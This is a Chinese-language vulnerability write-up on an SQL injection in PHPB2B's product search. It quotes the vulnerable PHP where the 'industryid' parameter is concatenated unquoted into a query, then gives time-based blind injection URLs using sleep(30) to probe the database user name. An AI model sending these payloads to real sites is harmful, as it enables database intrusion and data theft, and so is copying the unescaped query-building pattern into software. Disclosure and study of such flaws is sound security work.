PHPB2B某处sql注入
官网最新版本
libraries/core/controllers/product_controller.php
176-187行

function lists()
        {
                global $pos, $viewhelper;
                $viewhelper->setPosition(L("product_center", 'tpl'), 'index.php?do=product');
                $viewhelper->setTitle(L("product_center", 'tpl'));
                setvar("module", "product");
                $this->product->initSearch();
                $result = $this->product->Search($pos, $this->displaypg);
                setvar("items", $result);
                $this->view->assign("total_count", $this->product->amount);
                render("product/list");
        }


这里调用了一个函数product->initsearch()
跟入
libraries/core/models/product_controller.php

                                $this->condition[]= "Product.industry_id IN (".trim($_GET['industryid']).")";
                        }else{
                                $industryid = intval($_GET['industryid']);
                                $sub_ids = $this->industry->getSubDatas($industryid);
                                $sub_ids = array_keys($sub_ids);
                                $sub_ids = array_filter($sub_ids);
                                $this->condition[]= "Product.industry_id IN (".implode(",", $sub_ids).")";

                }
                if (isset($_GET['areaid'])) {
                        if (strpos($_GET['areaid'], ",")!==false) {
                                $this->condition[]= "Product.area_id IN (".trim($_GET['areaid']).")";
                        }else{
                                $areaid = intval($_GET['areaid']);
                                $this->condition[]= "Product.area_id='".$areaid."'";
                        }
                }
                if (isset($_GET['type'])) {
                        if($_GET['type']=="commend"){
                                $this->condition[] = "Product.if_commend='1'";
                        }
                }
                if (!empty($_GET['typeid'])) {
                        $this->condition[] = "Product.sort_id='".$_GET['typeid']."'";
                }
                if(!empty($_GET['q'])) {
                        $searchkeywords = strip_tags($_GET['q']);
                        $this->condition[]= "Product.name like '%".$searchkeywords."%'";
                }
                if (isset($_GET['pubdate'])) {
                        switch ($_GET['pubdate']) {
                                case "l3":
                                        $this->condition[] = "Product.created>".($this->timestamp-3*86400);
                                        break;
                                case "l10":
                                        $this->condition[] = "Product.created>".($this->timestamp-10*86400);
                                        break;
                                case "l30":
                                        $this->condition[] = "Product.created>".($this->timestamp-30*86400);
                                        break;
                                default:
                                        break;
                        }
                }
                if (!empty($_GET['total_count'])) {
                        $this->amount = intval($_GET['total_count']);
                }else{
                        $this->amount = $this->findCount();
                }
                if (!empty($_GET['orderby'])) {
                        switch ($_GET['orderby']) {
                                case "dateline":
                                        $this->orderby = "created DESC";
                                        break;
                                default:
                                        break;
                        }
                }
        }


代码大同小异，只看一处

if (isset($_GET['industryid'])) {
                        if (strpos($_GET['industryid'], ",")!==false) {
                                $this->condition[]= "Product.industry_id IN (".trim($_GET['industryid']).")";
                        }else{
                                $industryid = intval($_GET['industryid']);
                                $sub_ids = $this->industry->getSubDatas($industryid);
                                $sub_ids = array_keys($sub_ids);
                                $sub_ids = array_filter($sub_ids);
                                $this->condition[]= "Product.industry_id IN (".implode(",", $sub_ids).")";
                        }
                }


如果传入的industryid中存在逗号，就拼接后加入condition数组中，没有强制类型转换，也没有单引号保护。
然后接着看libraries/core/models/product_controller.php
$result = $this->product->Search($pos, $this->displaypg);
执行了搜索。
其中又是一大堆拼接，转化，但是都跟我们没关系。我们直接看最后执行的sql语句。
访问

localhost/phpb2b/?do=product&action=list&industryid=1,234)||if((length(user())=0),sleep(30),0)%23

于是可以注入啦
localhost/phpb2b/?do=product&action=list&industryid=1,234)||if((length(user())>10),sleep(30),0)%23
成功延时
localhost/phpb2b/?do=product&action=list&industryid=1,234)||if((length(user())>15),sleep(30),0)%23
不延时
localhost/phpb2b/?do=product&action=list&industryid=1,234)||if((length(user())=14),sleep(30),0)%23
延时成功
确定user()长度为14位
不再演示了。剩下的嘿嘿。。
